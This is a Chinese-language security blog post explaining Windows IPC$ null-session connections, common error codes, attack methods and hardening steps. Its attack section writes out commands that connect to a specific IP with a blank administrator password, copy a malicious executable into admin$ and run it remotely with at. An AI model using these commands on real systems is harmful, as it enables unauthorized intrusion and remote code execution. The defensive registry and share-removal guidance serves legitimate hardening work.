IPC$概念及入侵方式研究

Andrew.Hann發表於2017-05-28

catalogue

1. 什麼是IPC$
2. IPC$攻擊方式
3. 漏洞檢測與防禦措施

 

1. 什麼是IPC$

IPC$(空會話連線)是windows系統內建的一個功能模組,它的作用有很多(包括域帳號列舉),但是其中對於攻擊者最關心地還是它的網路檔案共享能力,它允許本機的程式/服務以命名管道(named pipe)的形式連線連線上來以實現檔案的共享傳輸,根據對應IPC$共享目錄的ACL許可權來決定是否可寫/可遍歷等許可權

對於IPC$的概念,我們有幾點要明白

1. IPC$和windows的SMB共享都是複用了445埠,它們都基於SMB協議實現,但是IPC$的作用範圍更大一些,它是伺服器間程式間通訊方式
    1) 可以列舉帳號: 當然對方伺服器也可以禁用列舉
    2) 共享檔案: 基於命名管道named pipe
    The IPC$ share is created by the Windows Server service. This special share exists to allow for subsequent named pipe connections to the server. The server's named pipes are created by built-in operating system components and by any applications or services that are installed on the system. When the named pipe is being created, the process specifies the security that is associated with the pipe, and then makes sure that access is only granted to the specified users or groups.
    3) 執行系統指令

2. IPC$的登入驗證方式可分為
    1) 匿名anonymous IPC$: 空賬號,空密碼可訪問,但是匿名IPC$的許可權往往較低
    2) 非匿名IPC$: 需要帳號密碼的驗證,不過這反過來也為黑客提供了一種暴力破解windows系統賬戶密碼的方式
3. IPC$登入後共享哪些目錄/檔案是可以配置的,如果該共享目錄/檔案的列表為空,則IPC$登入後無法進行檔案共享。早上windows server系統上預設配置了幾個IPC$共享目錄
    1) 所有的邏輯盤(c$,d$,e$……)
    2) 系統目錄winnt或windows(admin$)

0x1: IPC$連線常見錯誤

錯誤號5(拒絕訪問):很可能你使用的使用者不是管理員許可權的,先提升許可權  
錯誤號51(Windows無法找到網路路徑): 網路有問題; 
錯誤號53(找不到網路路徑):
    1) ip地址錯誤
    2) 目標未開機
    3) 目標lanmanserver服務未啟動
    4) 目標有防火牆(埠過濾) 
錯誤號67(找不到網路名):
    1) 你的lanmanworkstation服務未啟動
    2) 目標刪除了ipc$  
錯誤號1219(提供的憑據與已存在的憑據集衝突):你已經和對方建立了一個ipc$,請刪除再連 
錯誤號1326(未知的使用者名稱或錯誤密碼)  
錯誤號1792(試圖登入,但是網路登入服務沒有啟動): 目標NetLogon服務未啟動(連線域控會出現此情況) 
錯誤號2242(此使用者的密碼已經過期):目標有帳號策略,強制定期要求更改密碼  

Relevant Link:

https://support.microsoft.com/en-ca/help/3034016/ipc-share-and-null-session-behavior-in-windows
https://technet.microsoft.com/en-us/library/jj852278(v=ws.10).aspx

 

2. IPC$攻擊方式

0x1: administrator空口令連線

net use \\121.40.65.98\IPC$ "" /user:"admintitrators"

0x2: 利用IPC$上傳惡意樣本

copy srv.exe \\121.40.65.98\admin$

我們可以指定把srv.exe複製到目標系統的任何共享目錄中

0x3: 在目標系統執行系統指令

net time \\127.0.0.1 
\\127.0.0.1 的當前時間是 2017/5/28 16:58:29
  
at \\127.0.0.1 11:05 srv.exe 
用at命令啟動srv.exe吧(這裡設定的時間要比主機時間快)
  
net time \\127.0.0.1
如果時間到了,就說明指令已經執行了

0x4: 利用IPC$進行密碼爆破

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://zhaogao.blog.51cto.com/205189/53712
https://www.giac.org/paper/gcih/466/ipc-share-exploit-methodology-chinese-attackers/103860

 

3. 漏洞檢測與防禦措施

0x1: 檢測本機IPC$共享目錄

通過net share列出本機開放的共享目錄,理論上這些都應該刪掉,為了黑客利用445漏洞入侵後將惡意檔案植入類似admin$這種系統核心目錄

0x2: 禁止空連線進行列舉

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]

RestrictAnonymous = DWORD的鍵值改為:00000001

0x3: 禁止預設共享

1. 察看本地共享資源: net share
2. 刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)

3. 停止server服務: net stop server /y(重新啟動後server服務會重新開啟)
4. 禁止server伺服器自啟動

5. 修改登錄檔
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer(DWORD)的鍵值改為:00000000。 
# OR
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareWks(DWORD)的鍵值改為:00000000。 
# 如果上面所說的主鍵不存在,就新建(右擊-新建-雙位元組值)一個主健再改鍵值  

0x4: 永久關閉ipc$和預設共享依賴的服務: lanmanserver即server服務

控制皮膚-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動型別-已禁用

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://www.pc6.com/InfoView/Article_42319.html

Copyright (c) 2017 LittleHann All rights reserved

相關文章